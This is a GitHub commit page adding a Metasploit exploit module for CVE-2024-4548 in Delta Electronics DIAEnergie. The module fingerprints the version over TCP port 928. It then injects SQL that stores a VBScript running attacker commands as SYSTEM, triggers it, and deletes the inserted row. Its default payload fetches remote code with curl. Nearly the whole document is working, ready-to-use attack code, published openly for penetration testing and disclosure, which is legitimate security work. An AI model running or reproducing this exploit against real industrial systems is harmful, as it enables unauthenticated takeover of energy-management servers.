Skip to content

Commit 341142d

Browse files
committed
DIAEnergie SQL Injection (CVE-2024-4548) Module
1 parent cd1c100 commit 341142d

File tree

1 file changed

+134
-0
lines changed

1 file changed

+134
-0
lines changed
Lines changed: 134 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,134 @@
1+
class MetasploitModule < Msf::Exploit::Remote
2+
Rank = ExcellentRanking
3+
include Msf::Exploit::Remote::Tcp
4+
prepend Msf::Exploit::Remote::AutoCheck
5+
6+
def initialize(info = {})
7+
super(
8+
update_info(
9+
info,
10+
'Name' => 'DIAEnergie SQL Injection (CVE-2024-4548)',
11+
'Description' => %q{
12+
SQL injection vulnerability in DIAEnergie <= v1.10 from Delta Electronics.
13+
This vulnerability can be exploited by an unauthenticated remote attacker to gain arbitrary code execution through a SQL injection vulnerability in the CEBC service. The commands will get executed in the context of NT AUTHORITY\SYSTEM.
14+
},
15+
'License' => MSF_LICENSE,
16+
'Author' => [
17+
'Tenable', # Discovery & PoC
18+
'Michael Heinzl', # MSF exploit
19+
],
20+
'References' => [
21+
[ 'URL', 'https://www.tenable.com/security/research/tra-2024-13'],
22+
[ 'CVE', '2024-4548']
23+
],
24+
'DisclosureDate' => '2024-05-06',
25+
'Platform' => 'win',
26+
'Arch' => [ ARCH_CMD ],
27+
'Targets' => [
28+
[
29+
'Windows_Fetch',
30+
{
31+
'Arch' => [ ARCH_CMD ],
32+
'Platform' => 'win',
33+
'DefaultOptions' => { 'FETCH_COMMAND' => 'CURL' },
34+
'Type' => :win_fetch
35+
}
36+
]
37+
],
38+
'DefaultTarget' => 0,
39+
40+
'Notes' => {
41+
'Stability' => [CRASH_SAFE],
42+
'Reliability' => [REPEATABLE_SESSION],
43+
'SideEffects' => [IOC_IN_LOGS]
44+
}
45+
)
46+
)
47+
48+
register_options(
49+
[
50+
Opt::RPORT(928)
51+
]
52+
)
53+
end
54+
55+
# Determine if the DIAEnergie version is vulnerable
56+
def check
57+
begin
58+
connect
59+
sock.put 'Who is it?'
60+
res = sock.get || ''
61+
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
62+
vprint_error(e.message)
63+
return Exploit::CheckCode::Unknown
64+
ensure
65+
disconnect
66+
end
67+
68+
vprint_status('Who is it response: ' + res.to_s)
69+
version_pattern = /\b\d+\.\d+\.\d+\.\d+\b/
70+
version = res.match(version_pattern)
71+
72+
if version
73+
version[0]
74+
else
75+
return Exploit::CheckCode::Detected
76+
end
77+
78+
vprint_status('Version retrieved: ' + version[0])
79+
80+
if Rex::Version.new(version) <= Rex::Version.new('1.10.1.8610')
81+
return CheckCode::Appears
82+
else
83+
return CheckCode::Safe
84+
end
85+
end
86+
87+
def exploit
88+
execute_command(payload.encoded)
89+
end
90+
91+
def execute_command(cmd)
92+
scname = Rex::Text.rand_text_alphanumeric(5..10).to_s
93+
vprint_status('Using random script name: ' + scname)
94+
95+
# Inject payload
96+
print_status('Sending SQL injection...')
97+
connect
98+
sock.put "RecalculateHDMWYC~2024-02-04 00:00:00~2024-02-05 00:00:00~1);INSERT INTO DIAEnergie.dbo.DIAE_script (name, script, kid, cm) VALUES(N'#{scname}', N'CreateObject(\"WScript.shell\").run(\"cmd /c #{cmd}\")', N'', N'');--"
99+
res = sock.get
100+
if res.to_s == 'RecalculateHDMWYC Fail! The expression has too many closing parentheses.'
101+
vprint_status('Injection - Expected response received: ' + res.to_s)
102+
else
103+
fail_with(Failure::UnexpectedReply, 'Unexpected reply from the server received: ' + res.to_s)
104+
end
105+
disconnect
106+
107+
# Trigger
108+
print_status('Triggering script execution...')
109+
connect
110+
sock.put 'RecalculateScript~2024-02-04 00:00:00~2024-02-05 00:00:00~1'
111+
res = sock.get
112+
if res.to_s == 'Recalculate Script Start!'
113+
vprint_status('Trigger - Expected response received: ' + res.to_s)
114+
else
115+
fail_with(Failure::UnexpectedReply, 'Unexpected reply from the server received: ' + res.to_s)
116+
end
117+
disconnect
118+
119+
# Cleanup
120+
print_status('Cleaning up database...')
121+
connect
122+
sock.put "RecalculateHDMWYC~2024-02-04 00:00:00~2024-02-05 00:00:00~1);DELETE FROM DIAEnergie.dbo.DIAE_script WHERE name='#{scname}';--"
123+
res = sock.get
124+
if res.to_s == 'RecalculateHDMWYC Fail! The expression has too many closing parentheses.'
125+
vprint_status('Cleanup - Expected response received: ' + res.to_s)
126+
else
127+
fail_with(Failure::UnexpectedReply, 'Unexpected reply from the server received: ' + res.to_s)
128+
end
129+
disconnect
130+
131+
print_good('Script successfully injected, check thy shell.')
132+
end
133+
134+
end

0 commit comments

Comments
 (0)